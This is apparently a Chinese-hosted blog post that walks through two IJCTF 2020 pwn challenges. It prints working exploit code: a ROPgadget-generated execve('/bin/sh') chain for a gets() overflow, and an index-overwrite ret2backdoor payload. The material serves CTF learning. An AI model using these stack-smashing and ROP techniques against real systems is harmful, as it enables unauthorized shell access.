avatar

目录
IJCTF 2020 Pwn Writeup

IJCTF 2020

Sun, 26 April 2020, 00:00 CST — Mon, 27 April 2020, 00:00 CST

Admin (100pt)

Description

This admin thinks his system is very safe Is it actually safe? I say it’s safe what do you think?

nc 35.186.153.116 7002

Author: zilikos

Attachment

admin

Analysis

statically linked

This elf is statically linked:

Code
1
2
$ file admin
admin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0ee31668ec040c05db870d1fcef7e198c0a53d37, stripped

bof in main func

c
1
2
3
4
5
6
7
8
9
10
11
12
__int64 sub_400B4D(){
__int64 result; // rax
char v1; // [rsp+0h] [rbp-40h]

puts("Username: ");
gets(&v1);
if ( (unsigned int)strcmp(&v1, "admin") )
result = printf((unsigned __int64)"Bye %s\n");
else
result = puts("Welcome admin");
return result;
}

gets(&v1) do not limit the length of our input data

Solution

As this elf is statically linked, we can generate ropchain by ROPgadget automacticlly as follows:

generate ropchain by ROPgadget

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
$ ROPgadget --binary ./admin --ropchain
# ...
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x47f321 mov qword ptr [rsi], rax ; ret
[+] Gadget found: 0x410193 pop rsi ; ret
[+] Gadget found: 0x415544 pop rax ; ret
[+] Gadget found: 0x444aa0 xor rax, rax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x444aa0 xor rax, rax ; ret
[+] Gadget found: 0x474770 add rax, 1 ; ret
[+] Gadget found: 0x474771 add eax, 1 ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x400686 pop rdi ; ret
[+] Gadget found: 0x410193 pop rsi ; ret
[+] Gadget found: 0x449765 pop rdx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x40123c syscall

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<Q', 0x0000000000410193) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000415544) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f321) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410193) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444aa0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f321) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000410193) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449765) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444aa0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474770) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall

rop

Overwrite the return address with ropchain that we can get shell directly:

python
1
2
3
4
5
6
offset = 72
payload = 'A'*offset
payload += ropchain()

# ru('')
sl(payload)

More

you can download full exp from my github

Input Checker (100pt)

Description

Finding the best input.

nc 35.186.153.116 5001

Author: Tux

Attachment

input

Analysis

buffer overflow

c
1
2
3
4
for ( j = 0; j <= 1089; ++j ){
chr = getchar();
v7[j] = chr;
}

do getchar 1089 times while v7 is only 1008 bytes

After the for loop, variables after v7 will be overwritten.

back door

execve("/bin/sh",0,0) in 0x00401253:

Code
1
2
3
4
0x00401253      ba00000000     mov edx, 0
0x00401258 be00000000 mov esi, 0
0x0040125d 488d3dae0d00. lea rdi, str.bin_sh ; 0x402012 ; "/bin/sh"
0x00401264 e837feffff call sym.imp.execve

Solution

Stack layout

We should focus on the stack layout after v7 :

c
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int v3; // eax
__int64 v4; // rax
char fd; // [rsp+0h] [rbp-640h]
char v7[1008]; // [rsp+210h] [rbp-430h]
int rnd1; // [rsp+600h] [rbp-40h]
int rnd2; // [rsp+604h] [rbp-3Ch]
int rnd3; // [rsp+608h] [rbp-38h]
int rnd4; // [rsp+60Ch] [rbp-34h]
int rnd5; // [rsp+610h] [rbp-30h]
int chr; // [rsp+61Ch] [rbp-24h]
__int64 const_4; // [rsp+620h] [rbp-20h]
int j; // [rsp+628h] [rbp-18h]
int i; // [rsp+62Ch] [rbp-14h]

in gdb:

j is the index of v7 as well as the variable controlling the for loop

We can overwrite 1 byte of j after 1048 times getchar

c
1
2
3
4
for ( j = 0; j <= 1089; ++j ){
chr = getchar();
v7[j] = chr;
}

Here is the stack layout while j is 1048:

We can overwrite the last byte of j to 0x37 ,so that j become 0x438 after j++

v7[0x438] is the address of the return address

ret2backdoor

In the next 8 times getchar, return address in stack will be overwritten with address of backdoor:

python
1
2
3
4
5
6
7
offset = 1048
payload = cyclic(offset)
payload += '\x37'
payload += p64(0x0401253) # backdoor
payload = payload.ljust(0x441,'A')
# debug('b *0x40129e')
sl(payload)

More

you can download full exp from my github

文章作者: TaQini
文章链接: http://taqini.space/2020/04/27/ijctf2020-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论